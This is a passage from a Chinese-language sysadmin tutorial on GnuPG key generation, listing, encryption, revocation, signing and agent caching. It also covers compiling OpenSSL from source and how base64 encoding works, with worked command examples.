Key is valid for? (0) 1y<Enter>              ##有效期
Is this correct? (y/N) y<Enter>               ##确认
Real name: Client<Enter>                      ##密钥名称,5个字符以上
Email address:[email protected]<Enter>        ##邮件,非发起必填
Comment: GPG-KEY<Enter>                       ##备注

You selected this USER-ID:
"Jasper Hsu <[email protected]>"
Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O<ENTER>   # 确认
Enter passphrase  OK <Enter>                  ##使用空密码,也可以输入                             
<Take this one anyway> <Enter>
<Take this one anyway> <Enter>
# 随意移动鼠标,敲击键盘,收集足够的随机字符,产生密钥。

交互里的建议选择:

  • 类型: (9) ECC (sign and encrypt) → 曲线选 Curve 25519=。速度快、密钥短。需要兼容老系统再选 =(1) RSA and RSA + 4096 。
  • 有效期:别选 0=(永不过期)。填 =2y=,到期前用 =--quick-set-expire 续就行 —— 这是免费的“活着”证明。
  • 真实姓名 / 邮箱 / 注释,然后设一个强口

脚本化生成:

# sign-only
gpg --batch --passphrase '123456' \
    --quick-generate-key 'CI Bot <[email protected]>' ed25519 sign 1y
# usage = sign,只建主钥,不建加密子钥。ed25519 只能做签名(EdDSA)

# 修法一:给现有钥加一个加密子钥(推荐)
gpg --quick-add-key 23275415984F394BCB9F676B345B3DE6B6B29D0F cv25519 encr 1y
#会弹 pinentry 要主钥口令(就是 123456)。


gpg --batch --pinentry-mode loopback --passphrase '123456' \
    --quick-add-key 23275415984F394BCB9F676B345B3DE6B6B29D0F cv25519 encr 1y

#--quick-add-key 的参数顺序是 <主钥指纹> <算法> <用途> <有效期>,指纹必须是完整 40 位,不能用 keyid 或邮箱。
# gpg -k [email protected] 出现 sub cv25519 ... [E] 就是能加密了。

# 修法二:重新生成一把完整的钥
# 删除重建
gpg --delete-secret-and-public-key 23275415984F394BCB9F676B345B3DE6B6B29D0F

gpg --batch --pinentry-mode loopback --passphrase '123456' \
    --quick-generate-key 'node02 <[email protected]>' default default 1y

#第二个 default 是有效期之外的 usage 位,等价于 cert,sign 主钥加自动加密子钥。算法位也写 default 的话
#gpg 会按当前版本的默认(2.4+ 是 ed25519/cv25519)来选,跟显式写是一样的结果。

--quick-generate-key 的 usage 取值

default          # 主钥 [SC] + 自动生成加密子钥 [E]  ← 日常用这个
sign             # 只签名,无子钥
encr             # 只加密(主钥必须是能加密的算法)
auth             # 认证(可做 SSH key)
cert             # 仅认证其他钥
sign,auth        # 逗号分隔可组合
#+               # 注意:ed25519 不接受 encr,cv25519 不接受 sign

另外 --passphrase '123456' 这种写法会留在 shell history 和
ps 输出里,正式环境改用 --passphrase-file。

echo 123456 >/tmp/p.txt
gpg --batch --pinentry-mode loopback --passphrase-file /tmp/p.txt  \
    --quick-generate-key 'node02 <[email protected]>' default default 1y

参考:https://docs.gitcode.com/docs/help/home/user_center/security_management/gpg/

查看密钥

#查看公钥
# -k / --list-keys
gpg --list-keys
gpg -k --keyid-format long          # 公钥

#查看私钥
# -K / --list-secret-keys
gpg -K                              # 私钥,前缀 sec 是主钥,ssb 是子钥

#查看文件里的公钥
gpg --show-keys filepath

gpg --fingerprint Jasper Hsu
gpg --fingerprint [email protected]

#说明
#-k, --list-keys                  # 列公钥
#-K, --list-secret-keys           # 列私钥
#--fingerprint                    # 显示指纹

范例: 在hostA主机上

# 查看公钥
# gpg --list-keys
root@master01:~# gpg -k --keyid-format long
/root/.gnupg/pubring.kbx
------------------------
pub   ed25519/C8BC794E8D2FDECA 2026-09-18 [SC] [expires: 2028-09-17]
      DA49CFF481CB7E6767119D72C8BC794E8D2FDECA
uid                 [ultimate] Jasper Hsu (This is my gpg) <[email protected]>
sub   cv25519/8F04B97B4F1850C6 2026-09-18 [E] [expires: 2028-09-17]

pub   ed25519/94A58866F166ADAF 2026-09-18 [SC] [expires: 2027-09-18]
      698BE5F3C4AD8D2E5526C82294A58866F166ADAF
uid                 [ultimate] CI Bot <[email protected]>

#其中:C8BC794E8D2FDECA 为密钥 ID

root@master01:~#  gpg --list-keys --with-colons [email protected] 2>&1
tru::1:1789702442:1821238422:3:1:5
pub:u:255:22:C8BC794E8D2FDECA:1789699119:1852771119::u:::scESC:::::ed25519:::0:
fpr:::::::::DA49CFF481CB7E6767119D72C8BC794E8D2FDECA:
uid:u::::1789699119::C072807BA30D82D41F78878FB5269A90D00EE4CD::Jasper Hsu (This is my gpg) <[email protected]>::::::::::0:
sub:u:255:18:8F04B97B4F1850C6:1789699119:1852771119:::::e:::::cv25519::
fpr:::::::::9D02A3925E79DF4C9AC2D7848F04B97B4F1850C6:


# 查看私钥
# gpg --list-secret-keys
root@master01:~# gpg -K
/root/.gnupg/pubring.kbx
------------------------
sec   ed25519 2026-09-18 [SC] [expires: 2028-09-17]
      DA49CFF481CB7E6767119D72C8BC794E8D2FDECA
uid           [ultimate] Jasper Hsu (This is my gpg) <[email protected]>
ssb   cv25519 2026-09-18 [E] [expires: 2028-09-17]

sec   ed25519 2026-09-18 [SC] [expires: 2027-09-18]
      698BE5F3C4AD8D2E5526C82294A58866F166ADAF
uid           [ultimate] CI Bot <[email protected]>

root@master01:~# gpg --fingerprint Jasper Hsu
pub   ed25519 2026-09-18 [SC] [expires: 2028-09-17]
      DA49 CFF4 81CB 7E67 6711  9D72 C8BC 794E 8D2F DECA
uid           [ultimate] Jasper Hsu (This is my gpg) <[email protected]>
sub   cv25519 2026-09-18 [E] [expires: 2028-09-17]

输出里 [SC] = 签名+认证, [E] = 加密, [A] = 认证(可用于 SSH)。

各字段含义

# 1. tru —— 信任库自身的状态

tru::1:1789702442:1821238422:3:1:5
│   ││ │          │          │ │ └─ 8 信任链最大深度 = 5
│   ││ │          │          │ └─ 7 需要几个"完全信任"签名 = 1
│   ││ │          │          └─ 6 需要几个"勉强信任"签名 = 3
│   ││ │          └─ 5 信任库失效时间 = 2027-09-18 03:33 UTC
│   ││ └─ 4 信任库创建时间 = 2026-09-18 03:34 UTC
│   │└─ 3 信任模型:1 = PGP(0 = Classic)
│   └─ 2 空 = 信任库是新鲜的('o' = 尚未建立,'t' = 需要更新)
└─ 1 记录类型:信任库状态

字段 2 是空的,所以它的 │ 和字段 3 的紧贴在一起 —— 空字段占位不占宽度,这正是这种格式最容易数错的地方。

#2. pub —— 主密钥

pub:u:255:22:C8BC794E8D2FDECA:1789699119:1852771119::u:::scESC:::::ed25519:::0:
│   │ │   │  │                │          │           │   │         │         └─ 20 来源 = 0 未知 / 本地生成
│   │ │   │  │                │          │           │   │         └─ 17 曲线名
│   │ │   │  │                │          │           │   └─ 12 能力位:sc 本钥可签名+认证 / ESC
整套可加密+签名+认证
│   │ │   │  │                │          │           └─ 9 ownertrust = u 绝对(你手动设的前提)
│   │ │   │  │                │          └─ 7 过期时间 = 2028-09-17 02:38:39 UTC(+730 天)
│   │ │   │  │                └─ 6 创建时间 = 2026-09-18 02:38:39 UTC
│   │ │   │  └─ 5 长 Key ID = 指纹的后 16 位
│   │ │   └─ 4 算法编号 22 = EdDSA(签名用)
│   │ └─ 3 密钥长度 255 位(ed25519 的曲线域大小)
│   └─ 2 有效性 = u 绝对(gpg 算出的结论)
└─ 1 记录类型:公钥主钥

字段 8、10、11 和 13-16、18-19 都是空的,没画。字段 2 与字段 9 都是 u,
但含义相反:2 是结论(这个 UID 可信),9 是前提(这个人的签名我认)。

#3. fpr —— 主钥指纹

fpr:::::::::DA49CFF481CB7E6767119D72C8BC794E8D2FDECA:
│   │       └─ 10 40 位十六进制指纹,后 16 位 = 上面 pub 的 Key ID
│   └─ 2 字段 2-9 全空,指纹只用第 10 个字段
└─ 1 记录类型:指纹(归属于紧邻其上的那条 pub/sub)

fpr 记录里没有任何字段指明它属于谁,全靠"紧跟在哪条记录后面"这个位置关系。解析时必须顺序扫描并记住上一条 pub/sub。

#4. uid —— 用户标识

uid:u::::1789699119::C072807BA30D82D41F78878FB5269A90D00EE4CD::Jasper Hsu (This is my gpg)
<[email protected]>::::::::::0:
│   │    │           │        └─ 20 来源 = 0                    │
    
│   │    │           │                                         └─ 10 UID 本身:姓名 (注释) <邮箱>
│   │    │           └─ 8 UID 字符串的哈希 —— 不是密钥指纹
│   │    └─ 6 UID 自签名时间(与主钥创建同一秒)
│   └─ 2 有效性 = u
└─ 1 记录类型:用户标识

字段 8 那串 40 位十六进制看着很像指纹,但它是对 Jasper Hsu (This is my gpg) <[email protected]>
这串文本算的哈希,gpg 内部当索引用。改个名字它就变,和密钥本身无关。

#5. sub —— 加密子钥

sub:u:255:18:8F04B97B4F1850C6:1789699119:1852771119:::::e:::::cv25519::
│   │ │   │  │                │          │              │     └─ 17 曲线名
│   │ │   │  │                │          │              └─ 12 能力位:小写 e = 仅能加密
│   │ │   │  │                │          └─ 7 过期时间 = 与主钥同时
│   │ │   │  │                └─ 6 创建时间 = 与主钥同时
│   │ │   │  └─ 5 长 Key ID
│   │ │   └─ 4 算法编号 18 = ECDH(加密用,注意与主钥的 22 不同)
│   │ └─ 3 密钥长度 255 位
│   └─ 2 有效性 = u
└─ 1 记录类型:子钥

字段 9 是空的 —— 子钥没有独立的 ownertrust,信任是挂在主钥上的。字段 4 从 22 变成 18,字段 12 从 scESC 变成
e,这一对差异就是"主钥管签名、子钥管加密"的全部体现。

#6. fpr —— 子钥指纹

fpr:::::::::9D02A3925E79DF4C9AC2D7848F04B97B4F1850C6:
│           └─ 10 后 16 位 = 8F04B97B4F1850C6,与 sub 的 Key ID 吻合
└─ 1 记录类型:指纹(这条归属于上面的 sub)

导入导出公钥私钥

gpg --armor --export --output public-key.asc 'user-id'
gpg --armor --export [email protected] > pubkey.asc

# --armorg -a: 生成公钥的 ASCII 版本。默认设置是创建二进制 OpenPGP 格式。
# --output -o: 将输出写入文件。若要写入 stdout,请使用 - 作为文件名。
# --export: 从所有密钥环中导出所有密钥,或者如果至少给定一个名称,则导出给定名称的密钥。
#导出的密钥将写入 STDOUT 或带有选项 --output 的文件中。与一起使用 --armor 以邮寄这些密钥。
# 使用 --no-emit-version 可以避免打印版本号,通过配置文件也可以进行此设置。
# 可以省略 user-id 以导出密钥环内所有的公钥。这可以用来分享多个身份,或是将其导入到另一个程序,比如 Thunderbird。

# 备份私钥(连同信任度)
gpg --armor --export-secret-keys [email protected] > privkey.asc
gpg --export-ownertrust > ownertrust.txt

# 在新机器上恢复
gpg --import privkey.asc
gpg --import-ownertrust < ownertrust.txt

# 导入前先预览内容
gpg --import-options import-show --dry-run --import pubkey.asc

导入别人的公钥后要设信任度,否则加密时会一直警告:

gpg --edit-key [email protected]
# > trust        选 4 (full) 或 5 (ultimate,只给自己的钥)
# > save

删除公钥和私钥

gpg --delete-secret-keys client # 删除私钥
gpg --delete-keys client # 删除公钥

输入输出选项: https://www.gnupg.org/documentation/manuals/gnupg/GPG-Input-and-Output.html

导出公钥

GPG 的主要用途是通过公钥加密信息以确保其私密性。你可以分发自己的公钥,而其他人通过该公钥加密发给你的信息。而你的私钥必须始终保密,否则将会威胁信息的私密性。

所以其他人需要有你的公钥才能给你发加密信息。

以下命令可生成公钥的 ASCII 版本(–armor 参数)(例如用于以电子邮件发布):

范例:在hostA主机上导出公钥

# 导出公钥
root@master01:~# gpg --armor --export 'Jasper Hsu' > ~/J-pubkey.asc
root@master01:~# cat J-pubkey.asc
-----BEGIN PGP PUBLIC KEY BLOCK-----

xxxx
=zl7q
-----END PGP PUBLIC KEY BLOCK-----

# 查看文件的公钥
root@master01:~# gpg --show-keys ~/J-pubkey.asc
pub   ed25519 2026-09-18 [SC] [expires: 2028-09-17]
      DA49CFF481CB7E6767119D72C8BC794E8D2FDECA
uid                      Jasper Hsu (This is my gpg) <[email protected]>
sub   cv25519 2026-09-18 [E] [expires: 2028-09-17]

# 连指纹一起看
root@master01:~# gpg --show-keys --with-fingerprint --with-subkey-fingerprint ~/J-pubkey.asc
pub   ed25519 2026-09-18 [SC] [expires: 2028-09-17]
      DA49 CFF4 81CB 7E67 6711  9D72 C8BC 794E 8D2F DECA
uid                      Jasper Hsu (This is my gpg) <[email protected]>
sub   cv25519 2026-09-18 [E] [expires: 2028-09-17]
      9D02 A392 5E79 DF4C 9AC2  D784 8F04 B97B 4F18 50C6
      
#  - pub 主钥,sub 子钥;ed25519 / cv25519 是算法。
#  - [SC] = Sign + Certify,[E] = Encrypt,[A] = Authenticate。
#  - 第二行那 40 位十六进制才是指纹,验证身份只认它,不要认短 keyid。
#  - [expires: ...] 没有这一段就是永不过期;已过期会显示 [expired: ...]。
  
# 查看用户的公钥内容
root@master01:~# gpg --armor --export 'Jasper Hsu'
-----BEGIN PGP PUBLIC KEY BLOCK-----

xxx=zl7q
-----END PGP PUBLIC KEY BLOCK-----

导入公共密钥

要给其他人发送加密信息,或者验证他们的签名,就需要他们的公钥。通过文件 public.key 导入公钥到密钥环

范例: 在hostB主机上导入公钥

# 从hostA主机上复制公钥文件到需加密的B主机上
scp J-pubkey.asc  node02:~

# 在需加密数据的hostB主机上生成公钥/私钥对
root@node02:~# gpg --list-keys
root@node02:~# tree .gnupg/
.gnupg/
├── pubring.kbx
└── trustdb.gpg

# hostsB 生成密钥对,用于查看自己加密的密文
echo 123456 >/tmp/p.txt
gpg --batch --pinentry-mode loopback --passphrase-file /tmp/p.txt  \
    --quick-generate-key 'node02 <[email protected]>' default default 1y


# 导入前先预览内容
root@node02:~# gpg --import-options import-show --dry-run --import ~/J-pubkey.asc
pub   ed25519 2026-09-18 [SC] [expires: 2028-09-17]
      DA49CFF481CB7E6767119D72C8BC794E8D2FDECA
uid                      Jasper Hsu (This is my gpg) <[email protected]>
sub   cv25519 2026-09-18 [E] [expires: 2028-09-17]

gpg: Total number processed: 1

# 在hostB主机上导入公钥
root@node02:~# gpg --import ~/J-pubkey.asc
gpg: key C8BC794E8D2FDECA: public key "Jasper Hsu (This is my gpg) <[email protected]>" imported
gpg: Total number processed: 1
gpg:               imported: 1


root@node02:~# gpg --list-keys
gpg: checking the trustdb
gpg: marginals needed: 3  completes needed: 1  trust model: pgp
gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u
gpg: next trustdb check due at 2027-09-18
/root/.gnupg/pubring.kbx
------------------------
pub   ed25519 2026-09-18 [SC] [expires: 2028-09-17]
      DA49CFF481CB7E6767119D72C8BC794E8D2FDECA
uid           [ unknown] Jasper Hsu (This is my gpg) <[email protected]>
sub   cv25519 2026-09-18 [E] [expires: 2028-09-17]

pub   ed25519 2026-09-18 [SC] [expires: 2027-09-18]
      F46F35DB5F8071D4E0CE1BC40150987341BE1198
uid           [ultimate] node02 <[email protected]>
sub   cv25519 2026-09-18 [E]

# 导入别人的公钥后要设信任度,否则加密时会一直警告:
root@node02:~# gpg --edit-key 'Jasper Hsu'
# > trust        选 4 (full) 或 5 (ultimate,只给自己的钥)
# > save

gpg 对文件加密解密

# 公钥加密给某人(二进制输出)
gpg -e -r [email protected] secret.txt          # → secret.txt.gpg

# 加密给多人 + ASCII 输出
gpg -ea -r [email protected] -r [email protected] report.pdf   # → report.pdf.asc

# 加密给多人时别忘了加上自己,否则自己解不开
gpg -ea -r [email protected] -r [email protected] doc.txt

# 解密
gpg -d secret.txt.gpg > secret.txt
gpg -o secret.txt -d secret.txt.gpg

# 说明
#-e, --encrypt                    # 公钥加密,需配 -r
#-r, --recipient ID               # 指定收件人(加密用),可多次出现
#-a, --armor                      # 输出 ASCII 装甲文本(-----BEGIN PGP...),便于邮件/粘贴。不加则是二进制
#-d, --decrypt                    # 解密
#-o, --output FILE                # 输出到文件,不写则到 stdout

范例: 文件加密与解密

echo helloworld > s.txt

# 加密文件,多人发送,同时发自己一份
root@node02:~# gpg -e -r '[email protected]' -r [email protected] s.txt
root@node02:~# ls s.txt*
s.txt  s.txt.gpg

# 本地查看密文内容
root@node02:~# gpg -d --passphrase '123456' -u node02  s.txt.gpg  > d.txt
gpg: encrypted with cv25519 key, ID 7BCB9D607C40C0D7, created 2026-09-18
      "node02 <[email protected]>"
gpg: encrypted with cv25519 key, ID 8F04B97B4F1850C6, created 2026-09-18
      "Jasper Hsu (This is my gpg) <[email protected]>"
      
root@node02:~# cat d.txt
helloworld


# 复制加密文件到hostA主机
root@node02:~# scp s.txt.gpg  master01:~


#在hostA主机解密文件
# 看清楚文件里有哪些收件人包
gpg --list-packets  --passphrase '123456' s.txt.gpg

root@master01:~# gpg -o s.txt -d --passphrase '123456' s.txt.gpg
gpg: encrypted with ECDH key, ID 7BCB9D607C40C0D7
gpg: encrypted with cv25519 key, ID 8F04B97B4F1850C6, created 2026-09-18
      "Jasper Hsu (This is my gpg) <[email protected]>"
root@master01:~# cat s.txt
helloworld

吊销密钥

就算真吊销了,也照样能解密。吊销不会影响解密。它是一个公开声明:「别再用这把公钥加密给我了」。

#生成吊销证书
gpg --output ~/revoke-mykey.asc --gen-revoke [email protected]
chmod 600 ~/revoke-mykey.ascc

# 导入吊销证书
gpg --import revoke-mykey.asc

# 推到公钥服务器(让别人知道)
gpg --send-keys


# 查看密钥状态,字段为 u 绝对信任,r 已吊销
gpg --list-keys --with-colons [email protected] 2>&1 | head -20


# 恢复密钥:唯一的办法:把吊销状态从钥匙串里抹掉
## 如果使用了 gpg --send-keys,那吊销就是全网公开且不可撤回的。
## 恢复前提:吊销之前导出的了私钥和信任度
# 备份私钥(连同信任度)
gpg --armor --export-secret-keys [email protected] > privkey.asc
gpg --export-ownertrust > ownertrust.txt

## 删掉当前密钥再从备份恢复即可。
gpg --delete-secret-and-public-key 8983A97A371481EE842B2748C8CBC27C3EA0DAD

# 在新机器上恢复
gpg --import privkey.asc
gpg --import-ownertrust ownertrust.txt  # 别漏这步,否则信任度会重置

吊销后的密钥

  • 用它加密新文件:❌ 拒绝(除非 --expert 强制)
  • 验证它的旧签名: ⚠️ 会警告,但仍能验证
  • 解密旧密文:✅ 正常工作

原因很简单:解密只需要私钥的数学材料,吊销状态只是密钥包里的一个元数据标记,动不了私钥本身。

 % gpg --list-keys --with-colons [email protected]
tru::1:1789759707:1821295583:3:1:5
pub:u:255:22:C8CBC27C3EA0DADA:1789759583:1821295583::u:::scESC:::::ed25519:::0:
fpr:::::::::8983A97A371481EE842B2748C8CBC27C3EA0DADA:
uid:u::::1789759583::4F85C1208BAB088A8DCF0AB8E64D910D39C15B0D::Jasper (Jasper gpg) <[email protected]>::::::::::0:
sub:u:255:18:082F3EE708DBB411:1789759583:1821295583:::::e:::::cv25519::
fpr:::::::::B0EAC8B88540D2891BFF6E41082F3EE708DBB411:


 % (gpg --list-packets gpg.org.gpg 2>&1 | head -20)
gpg: 由 cv25519 密钥加密,标识为 082F3EE708DBB411,生成于 2026-09-18
      “Jasper (Jasper gpg) <[email protected]>”
# off=0 ctb=84 tag=1 hlen=2 plen=94
:pubkey enc packet: version 3, algo 18, keyid 082F3EE708DBB411
        data: [263 bits]
        data: [392 bits]
# off=96 ctb=d4 tag=20 hlen=2 plen=0 partial new-ctb
:aead encrypted packet: cipher=9 aead=2 cb=16
        length: unknown
# off=117 ctb=a3 tag=8 hlen=1 plen=0 indeterminate
:compressed packet: algo=2
# off=119 ctb=cb tag=11 hlen=2 plen=0 partial new-ctb
:literal data packet:
        mode b (62), created 1789760501, name="",
        raw data: unknown length

# 导入吊销证书
% gpg --import revoke-mykey.asc
gpg: 密钥 C8CBC27C3EA0DADA:“Jasper (Jasper gpg) <[email protected]>” 吊销证书已被导入
gpg: 处理的总数:1
gpg:    新的密钥吊销:1
gpg: marginals needed: 3  completes needed: 1  trust model: pgp
gpg: 深度:0  有效性:  1  已签名:  0  信任度:0-,0q,0n,0m,0f,1u
gpg: 下次信任度数据库检查将于 2027-09-18 进行

# 吊销后密钥状态为 r
% gpg --list-keys --with-colons [email protected] 2>&1 | head -20
tru::1:1789761770:1821295583:3:1:5
pub:r:255:22:C8CBC27C3EA0DADA:1789759583:1821295583::-:::sc:::::ed25519:::0:密钥已泄漏.\naa:
fpr:::::::::8983A97A371481EE842B2748C8CBC27C3EA0DADA:
uid:r::::1789759583::4F85C1208BAB088A8DCF0AB8E64D910D39C15B0D::Jasper (Jasper gpg) <[email protected]>::::::::::0:
sub:r:255:18:082F3EE708DBB411:1789759583:1821295583:::::e:::::cv25519::
fpr:::::::::B0EAC8B88540D2891BFF6E41082F3EE708DBB411:

# 仍可解密
% gpg -d gpg.org.gpg > a.log
gpg: 由 cv25519 密钥加密,标识为 082F3EE708DBB411,生成于 2026-09-18
      “Jasper (Jasper gpg) <[email protected]>”
gpg: 注意:密钥已被吊销
gpg: 吊销原因: 密钥已泄漏
gpg: 吊销注释: aa
 % wc -l a.log
     317 a.log

# 但不能加密
 % gpg -e -r '[email protected]' a.log
gpg: 拉取‘[email protected]’通过 Local 时出现错误: 不可用公钥

过期密钥续期

#改日期
FPR=8983A97A371481EE842B2748C8CBC27C3EA0DADA
gpg --quick-set-expire $FPR 2y '*'    # 主钥 + 所有子钥,一起延 2 年

# 时间格式:2y 两年、6m 六个月、30d 三十天、2029-01-01具体日期、
# 0 永不过期(不推荐,过期日其实是个有用的保险万一你哪天失去了
# 对密钥的控制,它至少会自己失效)

# 重新分发公钥。
gpg --armor --export $FPR > pubkey.asc # 发给对方
gpg --send-keys $FPR # 公钥服务器

# 重新导出备份私钥
gpg -a --export-secret-keys $FPR > privkey.asc
chmod 600 privkey.asc

不同于吊销,过期密钥可以强制加密。

签名与验签

# 分离签名(发布文件用这个)
gpg -ab release.tar.gz                  # → release.tar.gz.asc
gpg --verify release.tar.gz.asc release.tar.gz

# 明文签名(公告、邮件)
gpg --clear-sign notice.txt             # → notice.txt.asc,原文仍可读

# 签名 + 加密
gpg -sea -r [email protected] plan.txt

验签输出里要看两点: Good signature from ... 以及 指纹是否是你预期的那个。 WARNING: This key is not certified with a trusted signature 只说明你没给这个 key 设信任度,不代表签名无效。

使用公钥服务器

发布公钥

你可以将你的公钥注册到一个公共的密钥服务器,这样其他人不用联系你就能获取到你的公钥:

gpg --send-keys key-id

# 警告: 一旦一个公钥被发送到密钥服务器,它就无法从服务器上删除

搜索和接收公钥

要查询公钥的详细信息而不是导入,执行:

gpg --search-keys user-id

要导入一个公钥:

gpg --receive-keys key-id

要使用密钥服务器中的最新版本刷新/更新钥匙串:

gpg --refresh-keys

公钥服务器 常见的公钥服务器:

  • Ubuntu Keyserver:联盟式(federated)、没有验证、公钥不可删除。
  • Mailvelope Keyserver:中心式、验证电邮 ID、公钥可删除。
  • keys.openpgp.org:中心式、验证电邮 ID、公钥可删除、没有第三方签名(即不支持信任网络)

备选公钥服务器可以在#配置文件中的 keyserver 选项中注明,例如:

~/.gnupg/dirmngr.conf
keyserver hkp://keyserver.ubuntu.com

当常规服务器无法正常工作时,临时使用另一台服务器很方便。例如,可以通过以下方法实现:

gpg --keyserver hkps://keys.openpgp.org/ --search-keys user-id

gpg-agent 相关

口令缓存时长在 ~/.gnupg/gpg-agent.conf :

default-cache-ttl 3600      # 每次使用后再缓存 1 小时
max-cache-ttl 28800         # 最长 8 小时,无论怎么用
pinentry-program /usr/bin/pinentry-curses   # 纯终端环境用这个

改完重载:

gpgconf --reload gpg-agent
gpgconf --kill gpg-agent    # 彻底重启

桌面环境装 pinentry-gnome3 ,纯 SSH 环境装 pinentry-curses 或 pinentry-tty (apt install pinentry-curses)。

查看哪些密钥的口令被缓存了

# 查看缓存状态
gpg-connect-agent 'keyinfo --list' /bye
S KEYINFO DF406230653656D8AF81333538441B9ADEE6A015 D - - - P - - -
S KEYINFO EAE252BB3FF823401983BC248701953F99C86A49 D - - 1 P - - -

#字段依次是:keygrip  类型  卡序列号  idstr  已缓存  保护方式  ssh指纹  ttl  flags
#- 第 5 列是关键:1 = 口令已缓存在 agent 里,- = 未缓存
#- 所以 EAE252BB… 这把当前是缓存状态,DF406230… 没有
#- D 表示密钥存在磁盘上(T 则是智能卡/YubiKey),P 表示私钥文件受口令保护


# 查看 keygrip 对应回具体密钥
gpg --list-secret-keys --with-keygrip

# 立即清掉缓存
gpg-connect-agent reloadagent /bye

Git 集成

Git 对 GPG 这种二进制文件有特殊的支持,可以转化为文本的方式,这样就能非常方便的进行 diff、merge 了。

git config --global diff.gpg.textconv "gpg --no-tty --decrypt"

echo "*.gpg filter=gpg diff=gpg" > ~/.gitattributes

参考:

速查

gpg --full-generate-key                        # 建钥
gpg -k / -K                                    # 列公钥 / 私钥
gpg --armor --export ID > pub.asc              # 导公钥
gpg --import pub.asc                           # 导入
gpg -ea -r ID file                             # 加密
gpg -d file.asc > file                         # 解密
gpg -c file                                    # 口令加密
gpg -ab file                                   # 分离签名
gpg --verify file.asc file                     # 验签
gpg --dearmor -o out.gpg in.asc                # asc → 二进制
gpg --edit-key ID                              # 编辑(trust/expire/adduid)
gpgconf --kill gpg-agent                       # 重启 agent

OpenSSL

OpenSSL 介绍

官网:https://www.openssl.org/

OpenSSL计划在1998年开始,其目标是发明一套自由的加密工具,在互联网上使 用。OpenSSL以Eric Young以及Tim Hudson两人开发的SSLeay为基础,随着两人 前往RSA公司任职,SSLeay在1998年12月停止开发。因此在1998年12月,社群另 外分支出OpenSSL,继续开发下去。

OpenSSL管理委员会当前由 7 人组成有 13 个开发人员具有提交权限(其中许多人也 是OpenSSL管理委员会的一部分)。只有两名全职员工(研究员),其余的是志 愿者。

该项目每年的预算不到100万美元,主要依靠捐款。TLS 1.3 的开发由 Akamai 赞助。

OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通 信,避免窃听,同时确认另一端连线者的身份。这个包广泛被应用在互联网的网 页服务器上。

其主要库是以C语言所写成,实现了基本的加密功能,实现了SSL与TLS协议。 OpenSSL可以运行在OpenVMS、Microsoft Windows以及绝大多数类Unix操作系统 上(包括Solaris,Linux,Mac OS X与各种版本的开放源代码BSD操作系统)。

心脏出血漏洞 :OpenSSL 1.0.1版本(不含1.0.1g)含有一个严重漏洞,可允 许攻击者读取服务器的内存信息。该漏洞于2014年4月被公诸于世,影响三分之 二的活跃网站。

包括三个组件:

  • libcrypto:用于实现加密和解密的库
  • libssl:用于实现ssl通信协议的安全库
  • openssl:多用途命令行工具

一般linux系统都会预装openssl

# centos/rocky
yum info openssl

#debian/ubuntu
dpkg -l openssl

OpenSSL 更新

wget https://github.com/openssl/openssl/releases/download/openssl-3.4.0/openssl-3.4.0.tar.gz
tar xf openssl-3.4.0.tar.gz

cd openssl-3.4.0
./Configure --prefix=/usr/local/openssl-3.4.0 --openssldir=/usr/local/openssl-3.4.0
#./config --prefix=/usr/local/openssl --openssldir=/etc/ssl shared zlib enable-ssl3 enable-ssl3-method enable-mdc2 enable-md2
make && make install

#更新链接动态库
mv /usr/bin/openssl /usr/bin/openssl.bak
mv /usr/include/openssl /usr/include/openssl.bak
ln -s /usr/local/openssl-3.4.0/bin/openssl /usr/bin/openssl
ln -s /usr/local/openssl-3.4.0/include/openssl/  /usr/include/openssl
echo '/usr/local/openssl-3.4.0/lib64' >> /etc/ld.so.conf.d/openssl2025.conf
ldconfig #加载

openssl version

perl模块依赖

方法一:直接安装 IPC::Cmd 模块
yum install -y perl-IPC-Cmd
方法二:通过 CPAN 安装
安装 CPAN
yum install -y perl-CPAN
进入 CPAN 的交互模式:
perl -MCPAN -e shell
在 CPAN 的交互界面中安装 IPC::Cmd:
install IPC::Cmd
安装完成后,退出 CPAN
检查模块是否安装成功
perl -MIPC::Cmd -e 1
如果没有报错,则说明模块已成功安装

参考:CentOS 7 编译安装 OpenSSL 3_升级OpenSSL

Base64 编码

Base64 是网络上最常见的用于传输 8Bit 字节码的编码方式之一,Base64 就是一 种基于 64 个可打印字符来表示二进制数据的方法

base64 字符包含a-z A-Z 0-9 + /
image-20210120185004074.webp

base64的编码过程如下:

将每 3个字节 放入一个24位的缓冲区中,最后不足3个字节的,缓冲区的剩余部分 用0来填补。然后每次取出6位(2的6次方为64,使用64个字符即可表示所有), 将高2位用0来填充,组成一个新的字节,计算出这个新字节的十进制值,对应上 面的编码表,输出相应的字符。这样不断地进行下去,就可完成对所有数据的编 码工作。

3个字节转base64正好每6位一组;2个字节转base64缺少的补0,全0用=等号表示;4个字节一样,余一个字节,缺少补0.

按照以上规则对文本 Man 编码如下:

image-20210120185027750.webp

base64转换原理

└─$ echo -n abc |base64
YWJj

0x 61         62         63  big
0b 0110 0001  0110 0010  0110 0011       #3*8 24bits
0b   011000   010110    001001   100011  #变成6位一段
0b 00011000 00010110  00001001 00100011  #变成6位一段,前面补2个0对数值没有影响
0x 18       16        9        23        #转成16进制,再查对应base64码表
   24       22        9        35        #10进制表达
   Y        W         J        j         #查base64码表对应的值

3*8 24bits -> 4*6bits

范例:

#三个字符的整数倍才不会出现等号
[root@centos8 ~]#echo -n Man | base64
TWFu
[root@centos8 ~]#echo TWFu | base64 -d    #-d 反向转换
Man[root@centos8 ~]#

# echo -n Ma | base64  #一个字符点8位,base64是每个占6位。ab占16位,不能被6整除需要加等号代表补出来的0
TWE=
# echo -n Ma | base64 |base64 -d
Ma

范例:破解下面密文

JXU0ZjYwJXU1OTdkJXU2NzBiJXU1M2NiJXVmZjAxJXU2MjExJXU2NjJmJXU1ZjkwJXU5NTdmJXU0ZjFm
JXVmZjBjJXU2MjExJXU3Njg0JXU3ZjUxJXU3YWQ5JXVmZjFhJXUwMDc4JXUwMDc1JXUwMDYzJXUwMDY4JXUwMDYxJXUwMDZlJXUwMDY3JXUwMDc3JXUwMDY1JXUwMDY5JXUwMDJlJXUwMDYzJXUwMDZmJXUwMDZkJXVmZjBjJXU1M2VmJXU0ZWU1
JXU1MmEwJXU0ZTJhJXU1OTdkJXU1M2NiJXU1NDE3JXVmZjFm

# 解密
cat <<EOF | while read line; do  echo -e "`sed -rn 's@\%@\\\@gp' <(echo $line|base64 -d)`" ; done
